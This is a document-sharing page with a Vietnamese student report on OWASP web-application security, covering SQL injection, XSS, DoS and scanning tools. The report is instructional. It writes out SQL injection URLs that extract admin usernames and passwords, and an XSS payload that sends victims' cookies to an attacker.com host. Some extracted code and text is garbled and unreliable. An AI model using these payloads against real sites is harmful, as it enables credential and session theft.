1. Trang chủ
  2. » Công Nghệ Thông Tin

TIÊU CHUẨN ĐÁNH GIÁ AN TOÀN CÁC ỨNG DỤNG WEB (OWASP).

25 1,8K 12

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 25
Dung lượng 808,17 KB

Nội dung

Trong quá trình hoạt động, ứng dụng web thường được phép truy xuất đến các tài nguyên quan trọng của hệ thống đó là máy chủ web và máy chủ cơ sở dữ liệu. Thông thường khi phát triển ứng dụng, các lập trình viên thường dành nhiều thời gian cho các chức năng, giao diện mà bỏ qua vấn đề bảo mật. Điều đó không có nghĩa là lập trình viên không quan tâm đến vấn đề bảo mật mà vấn đề ở chỗ họ thường thiếu kiến thức về bảo mật và vấn đề bảo mật thường bị bỏ qua trong giai đoạn thiết kế và xây dựng ứng dụng.

MỤC LỤC A GIỚI THIỆU : I Các nguyên nhận mối đe dọa Website : .1 II Khái niệm an ninh website : B Tiêu chuẩn đánh giá an toàn ứng dụng Web(OWASP) I WEB Application gì? II Tiêu chuẩn OWASP C THỰC TIỄN I CÁC PHƯƠNG THỨC TẤN CÔNG WEB PHỔ BIẾN : .8 SQL INJECTION : .8 1.1 Cách thức công : 1.2 Cách Phòng chống : Cross-Site Scripting ( XSS ) : 11 2.1 Cách thức hoạt động : .11 2.2 Cách phát lỗi : 12 2.3 Cách thức công : .12 2.4 Cách phòng chống : 13 Denial of Service ( Dos ) : 14 3.1 Cách thức công : .14 3.2 Cách phòng chống : 15 Phương thức công Website Joomla : 16 4.1 Nguyên nhân dẫn đến Website joomla bị công : 16 4.2 Các cách cần thiết để tránh bị công : 17 Phương thức công Website Wordpress : 19 5.1 Nguyên nhân dẫn đến Website Wordpress bị công : 19 5.2 Các cách cần thiết đễ tránh bị công : 19 II CÁC CÔNG CỤ QUÉT LỖ HỔNG WEBSITE : 21 OWASP Zed Attack Proxy ( ZAP 2.2.2 ) : 21 Acunetix Web Vulnerability Scanner ( Sử dụng Trail 14 Day ) : .22 A GIỚI THIỆU : I Các nguyên nhận mối đe dọa Website : Trong trình hoạt động, ứng dụng web thường phép truy xuất đến tài nguyên quan trọng hệ thống máy chủ web máy chủ sở liệu Thông thường phát triển ứng dụng, lập trình viên thường dành nhiều thời gian cho chức năng, giao diện mà bỏ qua vấn đề bảo mật Điều khơng có nghĩa lập trình viên khơng quan tâm đến vấn đề bảo mật mà vấn đề chỗ họ thường thiếu kiến thức bảo mật vấn đề bảo mật thường bị bỏ qua giai đoạn thiết kế xây dựng ứng dụng Ứng dụng có lỗ hỗng bảo mật thường bị tin tặc khai thác để chiếm quyền điều khiển máy chủ web máy chủ sở liệu Từ tin tặc triển khai kiểu cơng khác như:  Thay đổi giao diện trang web  Chèn mã độc cài đặt tự động vào máy người dùng họ truy cập vào ứng dụng  Chèn mã độc để lấy cắp thông tin phiên làm việc (session ID)  Lấy cắp thông tin lưu trữ sở liệu  Truy cập tự vào vùng cấm  II Khái niệm an ninh website : An ninh Website phương pháp khoa học kỹ thuật đánh giá cách tổng thể chi tiết an tòan bảo mật website Các phương pháp đánh giá phân tích dựa sở sử dụng công cụ kỹ thuật chuyên dụng kỹ thuật cơng phân tích Kết việc đánh giá cho biết mức độ an tòan hệ thống, khả phòng chống trước cơng ngày nhiều nguy hiểm mạng Internet Kết cung thiếu sót cần khắc phục việc triển khai vận hành hệ thống B TIÊU CHUẨN ĐÁNH GIÁ AN TOÀN CÁC ỨNG DỤNG WEB (OWASP) I WEB Application gì? Khái quát web application  Web application ứng dụng phần mềm chạy trình duyệt web, nói cách khác bạn truy xuất vào phần mềm lúc nơi cần có kết nối internet  Ưu thế: đặc biệt việc xây dựng ứng dụng Web để hỗ trợ tính chuẩn trình duyệt chúng hoạt động mong muốn hệ điều hành hay phiên hệ điều hành cài máy khách cho trước, ứng dụng viết lần triển khai nơi  Nhược điểm: thị không ổn định HTML, CSS, DOM đặc tính trình duyệt khác gây rắc rối việc phát triển hỗ trợ ứng dụng web Thêm vào đó, khả cho người dùng điều chỉnh nhiều cài đặt hiển thị cho trình duyệt họ (như chọn kích thước font, màu sắc, kiểu chữ, tắt tính script) can thiệp vào ổn định ứng dụng web Cấu trúc ứng dụng web Cấu trúc web application - Ba lớp ứng dụng web:  Một trình duyệt Web lớp thứ  Lớp thứ hai: máy sử dụng vài công nghệ nội dung Web động (như ASP, ASP.NET, CGI, ColdFusion, JSP/Java, PHP, Python, Ruby On Rails) lớp giữa,  Lớp thứ ba : sở liệu Các rủi ro web application  Kẻ cơng lợi dụng nhiều đường khác thông qua ứng dụng bạn làm tổn hại doanh nghiệp hay tổ chức bạn Mỗi đường thể rủi ro khác mà có khơng gây ý  Thường đường dễ để tìm tận dụng để phá hoại, nhiên có trường hợp phức tạp Hiện có nhiều kĩ thuật khai thác ứng dụng liên quan đến web  92% lỗ hỗng nằm lớp ứng dụng, không nằm lớp hạ tầng mạng 90% ngân sách tập trung vào hạ tầng mạng 75% công nhằm vào lớp ứng dụng Các lỗ hổng phổ biến II Tiêu chuẩn OWASP OWASP gì? - OWASP (Open Web Application Security Project) dự án mở bảo mật ứng dụng web, dự án cố gắng chung cộng đồng với mục đích giúp doanh nghiệp phát triển, mua bảo trì ứng dụng web cách an toàn - OWASP cung cấp nhiều tài liệu hướng dẫn lĩnh vực khác việc bảo mật ứng dụng:  Các vấn đề bảo mật ứng dụng (Application Security Desk Reference): cung cấp định nghĩa mô tả tất khái niệm quan trọng, loại lỗi, lỗ hổng, phương pháp công, phương pháp kiểm tra, tác động kỹ thuật tác động kinh doanh bảo mật ứng dụng Đây tài liệu tham chiếu cho tất tài liệu hướng dẫn khác OWASP  Hướng dẫn Phát triển (Developer’s Guide): bao gồm tất yếu tố bảo mật mà người phát triển ứng dụng cần quan tâm Trong tài liệu cung cấp hàng trăm loại lỗ hổng phần mềm, sử dụng sách hướng dẫn mạnh mẽ kiểm soát bảo mật  Hướng dẫn Kiểm tra (Testing Guide): Là tài liệu cung cấp quy trình công cụ kiểm tra bảo mật ứng dụng Cách sử dụng tài liệu tốt áp dụng vào việc kiểm tra điểm yếu bảo mật ứng dụng hoàn thiện  Hướng dẫn Kiểm tra mã nguồn (Code Review Guide): Kiểm tra ứng dụng cách xem mã nguồn hỗ trợ phòng tránh cho ứng dụng khỏi tác động bên cạnh việc kiểm tra từ bên ngồi Người kiểm tra chủ động lựa chọn cách thức tiếp cận với ứng dụng phù hợp  Ngoài ra, cộng đồng OWASP giới thiệu tài liệu “OWASP Top 10” Đây dự án tập trung vào phân loại 10 rủi ro bảo mật ứng dụng phổ biến mối quan hệ với tác động kỹ thuật kinh doanh, đồng thời cung cấp hướng dẫn cụ thể cách thức kiểm tra, xác minh khắc phục điểm yếu bảo mật dễ gặp phải ứng dụng OWASP Top 10 chủ yếu tập trung giải vấn đề nguy phổ biến việc bảo mật ứng dụng web hoàn thiện Toàn nội dung OWASP Top 10 đăng tải địa chỉ: www.owasp.org/index.php/Top10 - Có số thay đổi OWASP TOP phiên 2013 phiên 2010 : - Ưu điểm phương pháp OWASP  Khuyến khích nhà phát triển thực hành mã hóa an tồn cách tích hợp kiểm tra an ninh giai đoạn phát triển Điều giúp cho ứng dụng trình phát triển tránh lỗi an toàn  Tài liệu Hướng dẫn Kiểm tra OWASP cung cấp chi tiết kỹ thuật đánh giá, cung cấp nhìn rộng vào nhiều tảng công nghệ giúp người kiểm tra lựa chọn cách thức phù hợp để tiến hành kiểm tra  Tài liệu OWASP Top 10 cung cấp hướng dẫn kỹ thuật giúp chống lại công điểm yếu bảo mật phổ biến trì tính bảo mật (Confidentiality), tính tồn vẹn (Integrity) tính sẵn sàng (Availability) ứng dụng (CIA)  Cộng đồng OWASP phát triển số công cụ bảo mật hướng dẫn sử dụng tập trung vào kiểm tra ứng dụng web cách tự động Một vài công cụ như: WebScarab, Wapiti, JBroFuzz SQLiX Các công cụ cài đặt sẵn hệ điều hành BackTrack a Injection (nhúng mã)  Nguyên nhân: Các truy vấn đầu vào ứng dụng bị chèn liệu khơng an tồn gửi đến server SQL ijection, XML injection, command injection,…  Nguy cơ:  Truy cập liệu bất hợp pháp  Thêm, xóa, sửa liệu nguy hiểm vào Database  Thực số công từ chối dịch vụ b Broken Authentication and Session Management (Sai lầm kiểm tra định danh)  Cho phép hacker từ bên ngồi có thẻ truy cập trái phép vào tài nguyên nội bộ, thực hành vi nâng quyền quản trị công dựa vào dạng session,…  Những đoạn chương trình kiểm tra danh tính quản lí phiên làm việc người sử dụng thường hay làm qua loa không cách Điều giúp kẻ thâm nhập ăn cắp mật mã, khóa, mã phiên làm việc (session token) tận dụng lỗi khác để giả mạo danh tính người dùng khác c Cross-Site Scripting(XSS)  Cho phép hacker thực thi mã độ máy nạn nhân  Nguy đánh cắp cookie/session  Thực truy vấn hại cho người dung  Phát tán mã độc d Insecure Direct Object References (Đối tượng tham chiếu khơng an tồn)  Xảy người phát triển để lộ tham chiếu đến đối tượng hệ thống tập tin, thư mục hay chìa khóa liệu Nếu khơng có hệ thống kiểm tra truy cập, kẻ cơng lợi dụng tham chiếu để truy cập liệu cách trái phép  Việc phân quyền yếu cho phép người dùng truy cập liệu người khác Và hacker xác định cấu trúc truy vấn gửi đến server nhanh chóng thu nhập liệu Credit Card, mã khách hang, thông tin cá nhân e Security Misconfiguration (sai sót cấu hình)  Một chế an ninh tốt cần phải định nghĩa hiệu chỉnh an ninh triển khai cho ứng dụng, khuôn mẫu, máy chủ ứng dụng, máy chủ web, máy chủ liệu ứng dụng tảng Tất thiệt lập nên định nghĩa, thực bảo trì nhiều thứ khơng triển khai với thiết lập an toàn mặc định Các hiệu chỉnh bao gồm cập nhật phần mềm thư viện sử dụng ứng dụng f Sensitive Data Exposure (Lưu trữ liệu thiếu an toàn)  Các liệu nhạy cảm lưu trữ khôn an toàn ảnh hưởng đến hệ thống máy chủ khách hang  Thẻ tín dụng/ Tài khoản đăng nhập lưu trữ dạng khơng mã hóa (clear-text)  Kênh truyền HTTPS bị hacker nghe liệu giải mã thông qua lỗ hổng CRIME g Missing Function Level Access Control (Sai sót hạn chế truy cập)  Nhiều ứng dụng web kiểm tra quyền thực thi địa truy cập (URL) trước dựng liên kết nút nhấn bảo vệ Tuy nhiên ứng dụng phải thực kiểm tra tương tự trang thông tin truy cập trực tiếẩn này.p khơng kẻ cơng giả mạo URL để truy cập vào trang thông tin ẩn h Cross-Site Request Forgery (Giả mạo yêu cầu)  kỹ thuật công cách sử dụng quyền chứng thực người dùng website CSRF kỹ thuật công vào người dùng, dựa vào hacker thực thi thao tác phải yêu cầu chứng thực hay cho phép kẻ cơng buộc trình duyệt nạn nhân để tạo yêu cầu ứng dụng vi phạm dạng yêu cầu hợp pháp nạn nhân  Với hệ thống tốn khơng kiểm tra tính hợp lệ token/Session/Domain,… nguy người dùng bị tiền bị lừa thực mã kịch hacker cài vào i Using Components with Known Vulnerabilities (Sử dụng thành phần có lỗ hỏng)  Việc sử dụng lỗ hổng bảo mật thư viện, plugin, module, ứng dụng, Được công khai cộng đồng giúp hacker nhanh chóng khai thác lỗ hổng bão mật  Các ứng dụng sử dụng thành phần có lỗ hổng biết dẫn đến làm suy yếu bảo mật ứng dụng cho phép loạt cơng tác động j Unvalidated Redirects and Forwards (Chuyển hướng chuyển tiếp thiếu thẩm tra)  Việc chuyển hướng không an toàn người dùng đến đường dẫn bên trang có nguy đưa người dung truy cập đến trang chứa mã độc nhằm cơng vào người dung hệ thống C THỰC TIỄN I CÁC PHƯƠNG THỨC TẤN CÔNG WEB PHỔ BIẾN : SQL INJECTION : SQL injection kĩ thuật cho phép kẻ công lợi dụng lỗ hổng việc kiểm tra liệu nhập ứng dụng web thông báo lỗi hệ quản trị sở liệu để "tiêm vào" (inject) thi hành câu lệnh SQL bất hợp pháp (không người phát triển ứng dụng lường trước) Hậu tai hại cho phép kẻ cơng thực thao tác xóa, hiệu chỉnh, … có tồn quyền sở liệu ứng dụng, chí server mà ứng dụng chạy Lỗi thường xảy ứng dụng web có liệu quản lí hệ quản trị sở liệu SQL Server, MySQL, Oracle, DB2, Sysbase SQL Injection : mô tả lỗ hổng bảo mật web nguy hiểm Khai thác Sql Injection, việc đoạt quyền kiểm soát mặt liệu nói trên, hacker cài đặt backdoor server mà ứng dụng chạy, qua kiểm sốt tồn hệ thống… 1.1 Cách thức cơng : Thơng qua link web hacker dùng lệnh truy vấn database để công Ví dụ : - Để phát lỗi website người công thêm vào giá trị vào đường truy cập: http://www www.example.com /product_details.php?idproduct=10’ - Và thực tiếp câu truy vấn khác : http://www.example.com/product_details.php?idproduct=10 ORDER BY - Dùng câu lệnh Select để truy xuất liệu : http://www.example.com/product_details.php?idproduct=-NULL UNION SELECT 1,@@VERSION,3,4,5— - Hiện thỉ table : http:// www.example.com/product_details.php?idproduct=10’ UNION SELECT 1,GROUP_CONCAT%28TABLE_NAME%29,3,4,5 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() Lấy user, password từ Admin : http:// www.example.com /product_details.php?idproduct=10’ UNION SELECT 1,GROUP_CONCAT(Admin_ID,0x3a,User_Name,0x3a,Password),3,4,5 FROM admin—  Hacker dùng tools để công cách nhanh chống : o Sqlmap o Havij o Pangolin 10 o … 1.2 Cách Phòng chống : Ví dụ : - Ngăn chặn thông báo lỗi : Code chưa fix : $id = $_GET[id]; mysql_query("SELECT * FROM sanchoituoitre.vn WHERE id=$id"); Code fix : $id = $_GET[id]; * FROM sanchoituoitre.vn WHERE id=$id"); @mysql_query("SELECT - Sử dụng hàm : mysql_real_escape_string $user=""; $password=""; $query = sprintf("SELECT * FROM users WHERE user='' AND password=''", mysql_real_escape_string($user), mysql_real_escape_string($password)); echo $query; Kết in : SELECT * FROM users WHERE user='' AND password='' - Các câu truy vấn user , password đơn giản dễ bị công : using (SqlConnection connnection = new SqlConnection(ConnString)) { // Build the query statement using dynamic data string sql = "SELECT UserId FROM User WHERE " + "UserName = '" + UserName + "' AND " + "Password = '" + Password + "'"; using (SqlCommand cmd = new SqlCommand(sql)) { cmd.Connection = connnection; try { cmd.Connection.Open(); var userId = cmd.ExecuteScalar(); } 11 catch (SqlException sx) { // Handle exceptions before moving on } } } - Có thể sữa truy vấn cách thêm tham số vào giá trị : string sql = "SELECT UserId FROM User WHERE " + "UserName = @UserName AND Password = @Password"; using (SqlCommand cmd = new SqlCommand(sql)) { // Create the parameter objects as specific as possible cmd.Parameters.Add("@UserName", System.Data.SqlDbType.NVarChar, 50); cmd.Parameters.Add("@Password", System.Data.SqlDbType.NVarChar, 25); // Add the parameter values Validation should have already happened cmd.Parameters["@UserName"].Value = UserName; cmd.Parameters["@Password"].Value = Password; cmd.Connection = connnection; try { cmd.Connection.Open(); var userId = cmd.ExecuteScalar(); } catch (SqlException sx) { // Handle exceptions before moving on } } Cross-Site Scripting ( XSS ) : XSS kĩ thuật công cách chén vào website động ( ASP, PHP, CGI, JSP … ) thẻ HTML hay đoạn mã script nguy hiểm gây nguy hại cho người sử dụng khác Trong đó, đoạn mã nguy hiểm 12 chén vào hầu hết viết Client-Site Script Javascript, Jscript, DHTML thẻ HTML XSS lỗi phổ biến, có nhiều trang web mắc phải lỗi I.1 Cách thức hoạt động : XSS cho phép attacker chèn đoạn mã vào link đường dẫn, để thực thi trình duyệt người dùng, dẫn đến việc cookies, mật khẩu, session hay fishing lừa đảo hay chèn virus, Trojan, backdoor Thường XSS có dạng sau: http://www.xxx.com/index.php?query=alert('hello'); Và nội dung trình duyệt là: “ hello ” I.2 Cách phát lỗi : Chủ yếu lỗi XSS nằm phần : search results, error messages, Web-form, chỗ mà người dùng nhập dự liệu vào sau nhận kết Các thức tìm lỗi XSS : - Có thể dùng cơng cụ quét lỗi Website trang - Chúng ta tìm lỗi tay với phần nên : search… Chúng ta thực bước sau : Bước : Mở website cần kiểm tra Bước : Bắt đầu kiểm tra , định vị tìm kiếm login form gửi thông tin (nhập thông tin nhấn submit) , ví dụ nhập chữ "XSS" hay từ khác Bước : Xác định khả site có bị lỗi XSS hay không cách xem thông tin trả : Ví dụ bạn thấy : · "Your search for 'XSS' did not find any items" · "Your search for 'XSS' returned the following results" · "User 'XSS' is not valid" · "Invalid login 'XSS'" giá trị có liên quan tới "XSS" mà bạn nhập vào ban đầu 99% "Alert" bị XSS Hãy thữ với script khác : < script>alert('XSS')< /script> &{alert('XSS')}; 13 Bước : Chèn code thực vào nơi bị lỗi : < script>alert('XSS')< /script> vào ô nhập giá trị nhấn SUBMIT Nếu sau bạn nhận popup có chữ "XSS" "Alert" 100% bị dính XSS Một ví dụ khác thường gặp : http://sitebiloi.com/ site bị dính lỗi XSS ta tìm nơi bị lỗi : http://sitebiloi.com/index.php?page= , nghĩa ta chèn code ADDRESS I.3 Cách thức công : Khác với lỗi khác gây hại trực tiếp lên hệ thống chứa web site, XSS lại không gây hại đến hệ thống sever mà đối tượng công chủ yếu XSS lại người dùng - Hacker cơng lấy cookies kỹ thuật : o Hacker tạo host file cookie.asp có nội dung: o Hoặc file cookie.php : o Tiếp tục chén vào link web lỗi : [URL="http://www.xxx.com/index.php?query= %3C"]http://www.xxx.com/index.php?query=window.open("http://www.attacker.com/cookie.asp? cookie="+document.cookie)< /script> Sau người dùng click vào link hacker hacker vào file xss.txt xem cookies - Hacker mở thêm trang web có chứa mã độc Trojan mà bạn : o Dùng code IFRAME :

Ngày đăng: 05/12/2017, 13:46

TỪ KHÓA LIÊN QUAN

w